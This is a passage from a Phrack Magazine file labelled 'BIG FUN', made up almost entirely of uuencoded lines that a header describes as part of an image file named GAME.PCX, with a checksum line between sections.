M____]/_!S\'_A\/_P?P/UO^<Q/]_PO\/P__!_@^?CP^$/\'^!\+_P?X'P<`/:
MCPX^!\'GP<</P?\,'\3_PL_.____]/_![\'_P<_#_\'^!];_#]/_C\/_#\'O;
M#X^'P?\'P>?!Y@_!_P8??\'_?\'_P<<'SO____O_#]7_P?P#U_^_P?^_C\'G>
MP?^/P?_!_!_!_P<<?\'\?\'_P?`/SO______TO_!_`':_\'/RO_!_<+_P?@O#
MSO______[O_!S]W______^W_P?Y_W?_________-_________\W_T/\_Q__!3
MS______S_]#_/\?_P<______\__/_\'^/\?_P<_!_\']R/_!_G_!_\']SO^?O
M_____];_S__!_'_'_\'OP?_!^<C_P?S!_\'YP?C,_\'^?[W_____UO_._\'@G
MP?QX9\'PP?_!X\+_P?#!Y\'QP?#$_\']P__!^,'_P?C!_<S_P?Y^?,/_P?'![
M_\'GPO_!^<7_P?[!]______&_\[_P>!\>&/!\'[!X<+_P?!OPO#!_L/_P?C#A
M_\'XP?_!\,W_P?["?,/_P?'!_\'WPO_!^<7_P?[!]\7_P?[_____SO\#'#AAW
MP<`<`,+_P>`'`'!X`\+_P<!\`<'\`'_!\'C!\`!?P?#"_\'#P?A_P?C!_\'X`
MP?_!_'_#_\'SP?_!Y\+_P?G%_\'XP>/![\'_P?S"_\'\?____O_._P\>.$.&R
M'AK"_\'"#P80?`/"_X(>`<'^`'_!\#[!\@(/P<)_P?\#P?(/P?X?P<9_P?X?/
MP?^?P?^7P?^/PO_!^\7_P?[!Y\'?P?_!_L+_P?Y____^_\[_#XX_AP^>/G_!1
M_\*/'AQ]P?O"_X\.#'P,?\'\/&`"!XX?P?X,P>`#P<(/AAX\#C\'P?P'P?^&U
M'X?!_\'^#\*_P?_!_<'GP?_!S\'\?\'_GC_+_\'/RO_!Y___Y__._P^//X</0
MGAY_P?_"CYX?POO"_X\.'G]^?\'_P?[!XX.'CQ_!_@_!X@/!QP>''CX./@?!.
M]@?!_X8/A\'_P?X/GQ]_P?_!YX^'P?X_P?^.?X_!_Y_(_X_*_\'GQO\____@%
M_\[_#XX\`1_!_`!_P?\/P<^`&,'@`<+_P?X,?''!_'_"_,'SP>/!YQ^?P?X_O
MP?'!\,+''Y["/L(\8\''P?_"APP\P?`'CAY_P?'!YX\`,#_!_@!^`<'\!\'/1
MP>^`!'^/P?^_C\C_P?S%_\'SPO\____@_\[_O\',>`&_P?@`PO^/P>_!X#C!_
MX`#"_\'@/,'X<<'XP?_!\,'XP?'!X<'B'Y_!_#_!\<'PP</!XC_!_L)\>,'X[
MPN'!_\'!P>8X>,+AP<X\?\'QP>&/`'!_P?@`?`#!\`/!Y\'C@"!_`<'P/X/!C
M\,+_P>'$_\'XQ?_!\<+_/___X/_/_\'$<,'QO\'XP?'"_\'?P>8`>,'PP?'"@
M_\'`.,'X<<'XP?_"\,+SP>(`'\'^`,'QP?#!P$)_P?["?'#!\&/!\<'_P<?!K
MX'APP>/!\<',','_P?'!X<'./'#!_\'XP?!XPG#!\,'#P>/!P`!\8,'P1\'!V
MP>!_P?Q`P?A_P?[!P,'P8<'SP?!_P>'!\,'X___B_\__P>QPP?'!_\'XP?O#N
M_\'N<'C!\,'QPO_!X#C!^''!^,'_PO#"\\'B('_!_F#!\<'PP<!@?\'\PGS"U
M<&/!\<'_P>?!X,)PP>/!\<'L.,'_P?'!X<'L/,'XP?_"^,)X<,'PPN/!\#!X<
M<,'PPF/!X'_!_'#!\'_!_&#!\&'!\\'@?F#"\'___^'_SO^#'#'!X8>8?,+_!
MP<_!QCPXP?'!^<+_'QQX<<'X?\+XPO/!XQG"_\'PP?'!^,'`?G_!_GY\<`#!5
MP\'SP?_!S\'@`##!P\'QP<08P?_!X<'CP<\!P?C!_\'YP?QPP?YSP?O!Q\'CO
MPI\8P?ACP>/"S\'_P?C">'_!_,)X<<'CP<`>$,'@P?!#P<Y____?_\[_!AXPN
M`8\>/L+_CPX>&,'SP_\?''YQP?Q_POC"\\'G'\+_P?QSP?B/GA_!WCY^.`_!^
MQ\'WP?^/P<8`.,'/P?/!S@S!_\'CP>>/`L'XP?_!^<'^><'^`\'_P<_!Q\(?;
M&,'\9\''CP_!_\'\?GA_P?Q^/'W!QX>>'G/!\X>/?___W__._P8_/`&$'@?!$
MY\'_P<8/`!P\!\'/P?\.#'X\"'_"_,/G#Q_!_CXCP?'"SQ\.PCX\P?_!Q\'W(
MP?^/P<8?P?S!S\'CP<0-P?_"YX_!Q#S!_\'YP?XYP?X#P?^/P<?"'QP`9\''F
MCX?!_\']P?X]P?_!_,'_/<'\9X^./WO!\\'_C___X/_._P<_/@?!QA\'P>?!M
M_\'&#P8>/@?!S\'_!@Y^/@)_PO[#YP\?P?X>`X/"QP\.PS[!_P?!Q\'_CX8?Q
MP?_!Q\'CP<6#P?_!Y\''C\'./\+_P?X[P?X'P?^/P<?"'QX&9\''CX<_PO\_H
MP?_!_L'_/\'^1P\.?\'WP>.?C___X/_._P_"_[_"_X_!\\+_OX^_?@_!Q\'_=
M@`S!_GX`?\'\/,+WP>>`'\'^`,'P`\'@!X0>/GP\','CA\'_AX8>.,''P</!#
MX<'!P?_!X\'GCS\\P?_!^<'^.<'^(\'_PL?"'Q@/P>?!QX_!_!_!^<'^.<'_,
MP?S!_SS!_&>`#'_!\\'T#X___^#_SO^_QO_!\\'_P?W%_\'GP?_!X<'MPOP@X
MP?_!^'C"\\'WP>!_P?X`P?`!P>`'P<##?'@@P?!#P?^!AC!PP>'!X\+AP?_!\
MX<'CCGPXP?_"^'G!_''!\<''P>._/SC!_\+CP<_!^#_!^<'^><'_P?C!_SC!`
M_,'C@#C!_\'QP?@CP<___^#_U?_!\\?_P>?,_\'XPO_!\\'PP?_!\,'_P?#"F
M_L+\0<'P8\'_P>!_P>#"\$/!\<'AP?_!\<'CP<XP>,'_P?AP>'#"\,'AP</!K
M_[^XP?C!\\'CP<_!_X_!^,'\>,'_P?C!_'C!_,'AP=O!^,'^P?'!_\'CP<__G
M_^#_U?_!\]3_P?G#_\'QP?_!_,'_P?C"_\'^P?_!\<'X<\'_P?!_P>#!^,'P$
M?\'QP>'!_\'QP>/!_F!X?\'X<'APP?!AP>#!P\)^>,'XP?/!X\'OP?]_POAX1
MP?_!^,'\>,'XP>/!_\'XP?S!\<'_P?/![___X/_N_\'QU?_!\<+_P<#!_'_!(
M_@!^`<'X`\'@`\'?/SP!P?/!X\'#P<`_P?QP>,'_P?S"<'C!X\''G'AQPO/!U
MS___X/_N_\'SU?_!^<+_P<_!_W_!_P_!_P?!_P_!\`^?'QX#P>?!Q\'#@!_!2
M_@#!^<'_P?X`>!/!QX<>',+SP<./___@____Q?_!_G_/_X_"_\+/?\'_#\/_N
M!\'^!\'GP<0?!\'\?`^//___W____\;_?\__P=_&_X_#_X_!_P_"YQ^'PO["_
M#S___]_____D_\'GQ?^_'___X/___^3_P>/&_S___^#____D_\'C___G____5
MY/_!]\;_?___X/_________-_________\W_________S?_________-____U
sum -r/size 20457/59873 section (from "begin" to last encoded line)
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 7 of 28
****************************************************************************
BIG FUN
(cont)
section 2 of uuencode 4.13 of file GAME.PCX by R.E.M.
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_________\W_________S?_________-_________\W_____R
M____S?_________-_________\W_________S?_________-_________\W_R
M________S?_________-_________\W_________S?_________-________]
M_\W_________S?_________-_________\W_________S?_________-____R
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_________\W_________S?_________-_________\W_____R
M____S?_________-_________\W_________S?_________-_________\W_R
M________S?_________-_________\W_________S?_________-________]
M_\W_________S?_________-_________\W_________S?_________-____R
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_\W_P?S!\<'SP?_!^______Z_\W_P?QPP?#!^,'PP?G!^,'[5
M___)_\']___M_\W_P?S"0,L`0&!QPOO_____[/_._Q^.P@;"`L0``L(``@`"/
M!@<>#AX.'A^?O\'?P?_!W______A_]3_O\'_G\'_P=_%#PX&PP[#!@0&#L,&\
M!\(&#@<.!L</'Y\?G______._]G_P=_"_\'?PH_&#\,'!L('!@?(!@<&!P;#0
M!\,/PH^?C______)_^[_OX^?P?^_G\0/!@0`!L(`!,0`!``$P@8$!L('G\*_8
M___\__C_P?W!\<'PP?W!\,'@8,'@QR``(,,`PB!@P>'!\<'APOG___?_SO_!_
M\\3_P?'R_\'QQO#$8$#$8,'@P?#!X,;PP_'!^?__Z/_-_\'\<<'_P?G!_'?!\
M\/C_P?C#\,)P8'#+8,-PQ/#!^,+YP?C!^<+_P?W__]W_S?_!_&'!_\+X0X#^W
M_\+[P?G!\,'[P?#!X,'PPF##0,D`0,(`0&#!P$!@<<'QP?#!^<'[___6_\W_B
MP?[!\Y_"^`<?___'_\'?P?_#WY_"'\(.P@;"`LD`Q`('!@?"#Q___]#_S?_![
M_G\?P>Q_P?\?___4_\*/Q`_##L0&Q03$!@[&#Q_"#\(?#\*?PO_!W_O_S?_!8
M_K<?P>=GP?\?___9_X_!W\./Q`_$!\(&!\(&!P8'Q`;#!P;#!\</PH_"_\'/(
M\O_-_\'\!S_!YG/!_P?__^?_O\+_G\(/CP8.PP3"``8$RP#"!``//P\?GQ^?`
MP?^/Z?_-_\'\`[_!X''!_X'___#_P?W!Y<'YPO'!_\+QP?##X&#%(,0`QB!@K
MPB!QP>#!^<'PP?'"_\+]W__-_\'\PO_!X''!^\'S_____\+_P?G!\,'_P?')!
M\,'@Q6#"0&!`Q&!PQO#"^=+_S?_!_,+_P>!PP?'_____T?_!_<'YP?W!^<'X)
MPO#"<,'P<,9@<,1@PG#!\,'SSO_-_\'\P?\_P<!PP?$______];_P?O!^<'[,
MP?C!\,'SP?!@PD``8$#&``/._\W_P?[!_P(?G@<&?___\/_!S\'_'\+_'Y_N,
M_Y\?#\[_S_\&'YX/!G____#_P<_!_@_!_\'F'P_$_Q_!_P_X_\__P=_"_Y^/<
M___Q_\'/P?X'P>_!YAX/P?_"'SX/P?X/P>?!]\'''_3______\;_P<_!_:?!&
MX<'\/#_!_\(?.`?!_`S!X\'SP<0_]/______QO_![\'YP?'!X,+\PO\?#WG!0
MY\'\?,+AP>?U_______'_\'YP?'!X,'\P?C!_\'^7H;!\<'SP?Y\P?'!X?;_V
M_____\?_POC!X,'\P?A_P?S!]C!YP?'!_GS!\,'@P?#U_______'_\+YP>#!C
M_,'X#\'\P<<P><'SP?]\P>#!P<'`?_3______\;_P<_!_<'Y@'[!_!_!_@<8C
M.\+_/D0#P<)_]/______QO^/P?W!_X`^PO_!_`<<.\'OP?\^#@^/?_3_____8
M_\;_C\'_AX\_P?^?P?X''A_!Q\'_/@8/C_7______\;_P=_!_`>?/L'\G\']P
MP><^.8?!_S[![A./]?______Q__!^"?!_\']P?PCP?G!\<'^>"?!_WS!]SG!R
MX/7______\?_P?S#_\'\P?/"^\'^P?A_P?_!_,'_P?G!X'_T_______6_\'X5
M]?_________-_______&_\'?___&_______&_X___\;______\;_P<___\;_\
M_____\;_P=___\;_________S?_________-_________\W_________S?__P
M____QO_!W___QO______QO_!W___QO______QO_!S___QO______QO_!W___6
MQO_________-_________\W_________S?_________-_______&_\'?___&^
M_______&_Y___\;______\;_C___QO______QO_!W___QO_________-____)
M_____\W_________S?_________-_______&_\'?___&_______&_X___\;_G
M_____\;_G___QO______QO_!W___QO_________-_________\W_________H
MS?______QO_!W___QO______QO^?___&_______&_Y___\;______\;_G___Y
MQO______QO^?___&_________\W_________S?_________-_______&_\'?Q
M___&_______&_Y___\;______\;_G___QO______QO^?___&_______&_Y__1
M_\;_________S?_________-_________\W______\;_P=___\;______\;_.
MG___QO______QO^?___&_______&_Y___\;______\;_G___QO_________-A
M_________\W_________S?______QO_!W___QO______QO^?___&_______&:
M_Y___\;______\;_G___QO______QO^?___&_________\W_________S?__+
M_______-_______&_\'?___&_______&_Y___\;______\;_G___QO______"
MQO^?___&_______&_Y___\;_________S?_________-_________\W_____]
M_\;_P=___\;______\;_G___QO______QO^?___&_______&_Y___\;_____*
M_\;_G___QO_________-_________\W_________S?______QO_!W___QO__\
M____QO^?___&_\[_P@\?G___\_^?___&_\[_#P?##\*/OY^____M_Y___\;_7
MS?_!_@;"!`##!,,`Q00&PP^/Q+___]__G___QO_-_\']P>'!\<'PQ6#,(&#"#
MX,'QPOG#\<+_POW_____W?_;_\'YP?O!\<?PQ.#!\,'@RF#"X,-@P^##\,'Q]
MP?#!^,'QP?#!\?_____&_]O_P?W#_\']P?C!_,+XP_#!\<'PP?C"\'#!\,5P!
MPF!PQV#$<,;PP?C!_\']_____\+_^/_!^\'YPOC!\<'YP_!@Q4#%`,5`8,'P6
MP?G___?__/_!W\+_PM^?PA\>#L(&`@##`@`"`,,"!A^?P=\?G^O_G___QO__<
M_\S_P=_"_Y^_GQ\/#@;##L4&!\</PA^?P?^_VO^?___&____T_^_C\0/Q`<&!
M!\(&!P;#!\4/C\+?O];_G___QO___]__O\'_OY\/'X8$#L0`!``$P@8'P@_"(
MG\._S/^?___&____Y?_!_<'YP?S#8,L@Q&##\<'YP?W__\W____P_\+PP?'![
M^<7PP>#"8$!@0,9@`,)@<,+@QO#!^<'PP?'!^_;____T_\'YP_C#\,1PS&#"Y
M<&#$<,3PPOC!\,'XP?GP_______#_\/[P?_!^\/YP?O!^,'P<,'@PF!``$#*-
M`,)`PV#!\,/YY/______T/_"WY["'P[#!@(&S0(&PP\?G\+_P=_;_______?>
M_\.?'\0/#LH&R0\?G\_______^;_CY_%#\8'!L@'#Q_._______S_\./!\(&:
MP@3"``_._______Y_\']P?G!X<'PS__________-_________\W_________\
MS?_________-_________\W_________S?_________-_________\W_SO_#:
M\/_____[_\[_P?!@<'______^O_._\'@P?#!X$?_____^O_._\'/PM^'____Q
M__K_SO_!S\+_P>______^O_._\'/PO_!Y______Z_\[_P<_"_\'G______K_Q
MSO_![\+_P>?_____^O_._\'OPO_!X______Z_]'_P?/$_\']______7_SO_!6
M[\+_P>?$_\'\?______T_\[_P<_"_\'GPO_!S\'ZP?X#P?[!_Q_!_\'WP?\&&
M'XX/P?_!_@_!_Q______Y?_._\'/PO_![\+_P<_!]L'\!\+_'\'_P<?!_P0?&
M!@_!_\'^!\'^#\'_/\/_C\3_/P_!_\'?O______6_\[_P<_"_\'GPO_"Y\''?
MCC_!_Q_!_X?!_\(/!P_!_\''!\'^!C\/PN?!_X?!_A_!Q\'_'@8?A@>'#___V
M___4_\[_P<_"_\'GPO_"X\'#P?PXP?\?P?^#P?X?P@\?P?_!P8'!\`0^'\'AP
MP>#!_X?!_#_!P\'^/@`?@`>`!\S_P>______Q__._\'OPO_!Y\+_P?#"X\'\V
M>,'_O\'_P>#!_#_!YP_"_\'CP?C!X<'\/`_!X<'@P?^'P?`_P>#!_SQ]CX#!+
M_\'`P>'!_\'QRO_!X\+_P>?_____Q/_._\'OPO_!Y\+_P?#"X\'\<,/_P<#!_
M_'_!X\/_P<?!^,'AP?P\'\'AP?#!_X?!\#_!X,'^>'_!Y\''P?_!P\'QP?_!H
M\<K_P?/!]\'_P>?1_\'S___Q_]'_P??"_\'X;\'OP?YXP__!\,'\?\'CQ?_!)
MX\'_?"_!X,'P?B?!\#_!X'QX?\'GPO_![\'PP?_!\,'XPO_!^,'_P?O%_\'GE
MT__!\\+_P??$_\'WP?_!_,'YQ/_!^___X?_._\'OPO_!Y\+_P?@/P<_!_SC!(
M_W_!_YC!_C_!SPO"_Y_!_\'#P?\<#\'!P?!^!\'P#\'@?#Q_P>>/P?_!S\'P=
MP?_!X,'X?\'_P>!_P>'!_<'XP?O"_\''R_\?Q__!P\+_P<?$_P_!_\'\P?G$"
M_\'S___A_\[_P<_"_\'GPO_!_A_!S\'_&,'_'\'_'CX"#P(?P?\?P?_!Q\'_]
M#@>!P>`>!\'SC\'"PAY_P>>/P?_!S\'\P?_!P,'X!\'_@!\`P?S"``?!QX?!I
M_\'/DC\'P?X'P?X/P?X?#\'_P=_%_\'/P?_"C\3_'\'_P?YYQ/_!]___X?_.U
M_\'/PO_![\+_P?X?C\'_&<'_'\'_'CX$#P`/P?\/P?_!S\'_#@>!P>(>!\'WD
M#\'''CX_P>>''X_!_,'_P</!YP?!_X</#'S"``>'!\'_CP`_!\'\!\'^#\',%
M'P^?C\'_C\+_/X_!_\*/Q/\?P?_!_F_1_\'/___4_\[_P<_"_\'GP_\?C\'_8
M'\'_'\'_#C[##Q_!_P_!_\''P?\.!PO!YQY'P<>/P<>/'C_!QX8/P<_!_L'_O
MP??"Y\'_AX\>/C]KP>_!QX?!_X\'#PY^#G\'P<</!Q\&?@?!_\'V#P?!_\*'!
M'\'/PO\/P<_!_GO1_\''RO^_/\__O_?_SO_!S\+_P>?#_S_!S\'_.,'_/\'^3
M`#[##\+_'\'_P<?!_PXC&<'C'&?!QX?!QXX^?\'G@`_!S\'\P?_!]\'GP?'!2
M_X_!SCXPP_G!QX_!_X\/'CQ\''&#A\(/'@1X`\'_P?`/!\'_AX`?@'_!_`^%-
MP?QQP?\_S__![\C_O\'_PC_/_S_W_\[_P>_"_\'GP_\_P>/!_#C!_C_!_``\X
M/\'/O\+_C\'\P>/!_PQP.<'AB,'CP<`#P>/!X#Q_P>.'P?_!S\'XP?_!\<'G=
MP?'!_\'GP>`@,,/YP>/!Y\'_P<._/#W!^,'\8<'QP<?![[^<?'C!\<'_P>'!]
MX\'#P?_!P\'`AX`_P?P/`'AQP>`/PGS!\\'@?\'@PO_!X<__?\'_PC_$_\'QC
MRO\_P?_!_G_-_\'QYO_1_\'WPO_!_G_!X\'X>,'^?\'X8#Q_P>_#_\'7P?C!I
MX\'_/'!YP?'!P,'CP<`#P>/!X#A_P>/!W\'_P<?!^,'_P?/!Y\'QPO_!X`!PV
MP_'!X\+_P</!_\'\<<'XP?Q@P?'!S\+_P?C!_G#!\,'_P>/!\\''P?_!Y\'!1
MP>>P?\'\/G!XP?'!X,''PGS!\\'`/\'@?\'^8,'XP>S!X\+PPO?!\,'_P?/#P
M_\'XP?Y_P?_"?\3_P?'*_W_!_,'^S?_!Y\'AP>?"_\'^P?_!^>#_SO_!\,'Y9
MP?_!]\+_P?Y_PO#!^'A_P?A_?'_!Y\/_P>/!^,'QP?Q\<'C!\<'@P>/!X''!`
MX\'P/'_!X\+_P>?!^,'_P?'!Y\'YPO_!X'#!^,'YP?C!^<'CPO_!X\'_P?Y@M
MP?C!_L)@P__!^,'^>,'XP?_!Y\'QP>_!_\'WP>?!YG_"_SQ^>''"X<)XP?'![
MX,'WP>`_P?XPP?AX<,'P8&'!X\'@?\'@P?AWP?_!\'@_P?P^<,'^P?/!_\'XK
MP?'!^'Y[P?#"_\'WP?S!_\'X?\'\?\W_P?/!X</_P?Q_P?C@_\[_P<!@<<'GC
MPO_!_C_!\&#!^'!_P?A_#'_!QP_"_\'!P?#!\<'\/'!YP?'!P<'CC\'SP>/!L
M\#Q_P<>/P?_!Q\'PP?_!\\'GP?'!_\'/P<1_P?C#^<'CP<_!_\'#/Q_!P'C!Y
M_F`!P<_!_\'?&,'^.<'XP?_!S\'SP<_!_\+'P>8?/\'_'G\8<<''P>'".,'SM
MP</!QYX?P?XX<'APP>!`0<'CP<`^`,'P!\'_P>`8#\'\#P!^`<'_P?@!P?`<<
M`\'@P?_!_@/!\'_!X#_!^'_!_\'[S/_!P\/_P?Q_P?##_Y_<_\[_P<X&`@_#E
M_S_!_@/!_@!_P?[!_XX_P<<"#\'_P<`#P?@8/CQ[P>/!P\'GC\'SP<?!_,(>*
M#X_!_\''P=/!_\'SP>?!\\'_P<?!SC_!_,'_P?G!^\''C\'_P<<?#\'^?,'^T
M(\'?C\'_GQY_&<'XP?_!S\'SP<_!_\''C\'&`A_!_QY_'GF/P>/"','SPH\?$
MG\'^/SA\P?S!X\'AP?/!QX_"'G"'P?_!QPX?P?\/!CX#P?_!\`/!X@8'@C_![
M_@/!P`\`'\'\'GX"!\'^'\'_P?(_CW^/P?\?P?_!Q\/_P?Y_P?K#_Y_<_\__5
MP@\?P_\_P?\/P?\'P_^//\'/``_!_\'N!\'^`GX\?\'GP<?!YP_!_\''P?X^7
M#A^'#X<'P?_!]\'GP<?!_X>/'S_#_\''C\'_P<\?#\'^/'XGP?^/P<\/'G\?3
MP?W!_X_!]X_!_\*/P<8&'\'_'G\>>X_!XPP?P<?"CQ^?P?X_','\/&?!X\'OH
MP<>/'CXSPO_!SX\?P?\?#SP-P?_!XP?!QX?"#Q_!_@F'#PP?P?P>?``'P?0/D
MP?_!Q!\&'P?!_@_!SP?!S\''P?\.?\'_C\+_']S_U_^?P?_!S\/_P=_!_\'/-
MCP_"_P_!_P?$_\'GP>^?P?_!Q\'_/@<?@@>&#\'_P??!YP_!_X</#G_#_\'G-
MA\'_P<<?#Q["/F?!_\*/#QX_'\+_P<_!YX_!_\*/P<<?PO\?/QY[C\'GC@/!B
MQ\*/'Y_!_S\>P?P&9\'GP>_!QX?!_@XW'\+_CQ_!_\,?P?]_P<?!Y\'_AX\/<
M'\+_AX_"'\'^'CX"#\''!\'_AP\&'P=^!\''!\'/AC\&/\'^!\'_#X^'V__D7
M_[_!_[_*_SX%P?^`!\'`#\'_P?#!^`_!_X`?`,+]P?G!_\'GP<?!_\'''PX,-
M?!QQ@\''CP\>/CG!_<'_PL>/P?_"C\''/\+_'C\<<8_!XX`#P>>/CA^?P?Y_[
M','P`,'GP?/!\<'G@+P$-`_"_P\_P?_"/SC!_'_!Q\'CP?^''P\?P?_!^8>.*
MPC_!_C[">,'YP>?!Q\'_C\(/'AQX`\''A\''!#X`?\'\`\'T#Q\`P?_!Y\'OT
MV/_T_\']P?_!_<+_P?G!_,+_P>#!_\'APOW#_\'CP?_!Y\+_`,'X`,'X`\'@Q
M+\'''B#"^<'_P>'!X\'OP?_!Y\''P>>_PO\_/CAQP>?!X<+!P?/!S\'F/Y_!/
M_G\XP?#!\<'APO'!X\'P.`!X`\'_P>`'?\'_/W\P('_!Y\'QP?`#O``_P?[!W
MX,'GP>Q_/\'\?'C"^,'AP>/!_\'#P?X_B'AQP?'"X\'B/SAX?\'P<,'@P>.<(
M,'G!X<'CV/_]_\'CQ__!\\3_P>#!^&'!^&/!\'_!X\'^P>#"^<'_P?!'P>_!?
M_\/GP?!_P?]_?'C!\<'AP>/"P<'SP<_!YL'_P=_!_GYXP?#!^\/QP>/!_#C!F
M\,']P>'!_\'@!G_!_\)_<$#!_\'CP?'!\$/!_`!_P?@`P>?!Y,'_?\'\PGC"@
M^,'@P>'!_\'@P?Y_P<!P<<'QP>/!Y\'B?L+X?\'PP?C!X<'CP?S">,'AP>/8U
M____R__!^<'XP?O"_\'XP__!\<+YP?_!\'_"_\'SP?_!]\'@?\'_?\'P>''!B
M\,'GP>'!X\'SP>_!Y\'^O\'^?'C!\,'XP_'!X\'_P?C!_\'[P?'!_\'@P>9_#
MP?_"?W#!\<'_P>/!\<'@P>/!_##!_\'X<,'GP>S!_W_!_'QXPOC!X&'!_\'P[
M?G_!X'!SP?_!X\'GP>+",,'\?\+XP>'!\<'X?GC!X-G__?_!S\W_P?C+_\'\^
MP__!]\+_P>##_\'`P?C!\<'P!\+#P?/!S\''@!_!_CAXPOC!X\+QP>.?G,'^S
MP?/!\<'_AXY_P?\_?S#"_\'CP?'"P\'^/\'_POC![\',?S_!_'QYPOC!P'/!'
M_\'P/C^``&/!_\'#P<_!Q@`0P?Q_P?C!_$#!XYA^.,'@P<_8__W_P=_-_\'^D
MUO_!W\+_P?X?P<?!S\'WPL^"'\'^`'S!_`+!Y\+SP<>/PAYSP?/!_X\/'\'_=
M'S\<PO_!Q\'SA\'#GQ^_P?W!^,'/P<["/\'^/GG!^<'XP<?#_PX?@!_!Y\'_;
MP<?!S\'.`AG!_G_!_,'^``,>?QX`P<_8____Y_\_P__"WX8?P?X'P?_!_@?!E
M[\+_P<>.'@Q_!\'_A@\?P?\?/SP?P?_!QX>/!\(/'\']:<*//C_!_CY_POW!<
MS\+_P=\/'XP_P>?!_\+/C@\=P?Y_P?_!_@(/'G\>!0_8____[?_"G\'_'\+_G
MC\/_P>_!SS\'P?\/P?_!Q@</P?\//SX'P?_![@?!Q@>/AC_!_@</CPX_P?\>M
M?\+_P<>'P?^/P@\.'R?"Q\'/CQ^?P?Y_P?_!_@>?#G\>#@_8____[?^?'\'^%
M/]'_P=_"_X_!_\'^'\'_/\'?P>3!_\'^#\'_P<^`/\'_'GW"_<'P!\'_P<8/"
M!!X`>`/!Q\+/#QQ\?\+\1\'WGCX>#A_8____[?^`?\'^?];_P?W$_\'YQ?_!7
MX<+_P?[#^<'P+\'_P>`^`'X`P?@#P>/!Y\'O@#AP?\+PP>'!X[S"?!P_V/__I
M_^W_P>#K_\'\PO_!\,'^,,'_P?'!^'?!]\+_P>#!_D#!_\'P8,'PP>/!_L'`,
M?L)\V/___^W_P?#O_\'^?<+_P?S$_\'PP?[!\,'_P?AAP?!_P?[!X,'^PGQ_8
MU_______WO_!_G_0_\'SV__._\/?_____\W_P?X?[/_-_\'NQ@;##L8/PO^?#
M___^_S_L_\W_P>\/!\@&!\(&P@?%#\2/O______E_]3_GX\_P?_"CQ\/C,($$
M`,,$``3%`,($!L($Q08'#Y^/G[_!_[_!_[______SO_<_\'YP?'!X<'@P>'!>
MX,)@P>!@T2!@(&'!X,)@<</QP?G!_\']_____\C_Z/_!^</_P?G!_\/YQ_#!L
MX,'P8,'PP>!@P>#)8,+@R/#!\<'S___W__3_P?G#^,'PP?C!\,'XQ/!PP?#%%
M<,9@<,)@PG#!\'#"\,'XP?G!^___\O_-_\'X^O_!^\/YP?'!^,+P8,-`Q0#"!
M0&#"0,-@<,'QP_O__^7_S?_!_A^?___!W\*?'Q[&`@#'`L(&#@_!W___Y/_-E
M_\'^#@_!QC_!_\'/#X8^'___PO_!WY_!_\*?PA_"#\,.Q08.QP\?/Y___];_Z
MSO\'#\''9\'_P<X'AR<?___+_\*/P@_$!P;&!P\'Q`_"C\+?O___S__._\'FI
M?L'/P?'!X<'.?X_!YY___]3_PH^?PH_"!\(&P@3$``0`Q`3"!@</#@</'P\'@
M#[^?OY^_^O_-_\'QP>#!_,'OP?#!X<'L>\'_P>/__]S_P?G!\<'XPN#"(`##"
M(,<`(,(`PB#"`,(@8"#"8,'PP?'!^<+]]/_-_\'PP>!@P>#!\,'@P>9WP<'!V
M\/__Y?_"^<?P8,+PP>#!\,'@P?#"8,'@8,'@8,)`8$#&8,+@Q/#!^<']Y__-<
M_\'P?&#!X'#!X,'^<\'@P?#__^O_P?O!^,'ZP?C!^<3XPO#!^,7PPW#*8,-P-
MQ?#"^,+YW__-_\'PP?QXP>/!\$#![\'AP<#!^!______PO_$^\'XP?#"^,+P-
M<,D`PD!@P>#!\,'YP?'!^\'_P?O4_\W_P?O!_C[!S\'V"<'/P<./P?\/___M?
M_[_9_\'?PO_"WPX&#@;$`L,`PP(&`@8/PA\/'Y_!W\__S_\^P<_!_P_!SW^?B
MP>^/___M_[_F_Y_$#\0.QP8/SO_/_S_!S\'G#\'/%X_!SX___^W_O\/_P<_C8
M_Y_"_Y_$C\0/P@<&#\[_T/_!P#^?P<X'A"0/___M_[_!Y#_!_X`\#\/_P?X_C
MP?\_^/_0_\'@?\'_P?XCP>!P/___[O_!X#_!Y\'@P?!OP?_!_G[!X#_!X#W!]
M[\'_P>'U_]#_P?O$_\'PP?C__^__P>/"Q\'PP?'!_\'\?GS!\,'_P?!PPN/!S
MP/7______\?_P??"Y\'SP?'!_\'\PGS!\<'_P?C!\,+CP?#U_______'_\+GD
MD\'SP?'!_\'\PA[!\\'GP?S!^,+#O_7______\;_/\'OP<<7P??!\C_!_!X.F
MP??!Q\'^P?O!QX<?]?______QO^_P>_!QQ_!_\'X'\'_C@9OP>?!_L'_P<,'S
M#_7______\;_O\'OAP?"]Q_!_PX&9\''PO^'P@?U_______&_[_!YX8!P??!T
M\\'_P?`.<&?!Y\'^P?F,!Q_U_______'_\'@#'G!\\'QP?_!\<'F>,'QP>?!F
M_,'YP>ASO_7______\?_P>!XP?G!\\'PP?_!\<'D>,'PP?_!_,'PP?AS]O__$
M____Q__!\,/_P?C!_\'SP?;!_,'P?\'\P?G!_,'SP>#U_______'_\'[R/_!U
M^,+_P?O!_L'_P<#U_______&_[___\;______\;_O___QO_________-____Q
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W______\;_O___QO_________-_________\W_________S?__[
M_______-_________\W______\;_O___QO______QO\____&_______&_[__;
M_\;______\;_?___QO_________-_________\W_________S?_________-=
M_________\W______\;_?___QO______QO\____&_______&_W___\;_____2
M_\;_?___QO_________-_______%_\'^?___QO______QO]____&_______&G
M_S___\;______\;_/___QO______QO]____&_______&_S___\;______\;_P
M?___QO_________-_______%_\'^___'_______&_W___\;______\;_?___W
MQO______QO\____&_______&_S___\;______\;_?___QO______Q?_!_G__W
M_\;_________S?______Q?_!_G___\;______\7_P?Y____&_______&_W__L
M_\;______\;_?___QO______QO]____&_______&_W___\;______\;_?___P
MQO______Q?_!_O__Q_______Q?_!_G___\;______\;_?___QO______QO]_L
M___&_______&_S___\;______\;_/___QO______QO]____&_______&_W__0
M_\;______\7_P?[__\?______\7_P?Y____&_______%_\'^?___QO______/
MQ?_!_G___\;______\;_?___QO______QO]____&_______&_W___\;_____S
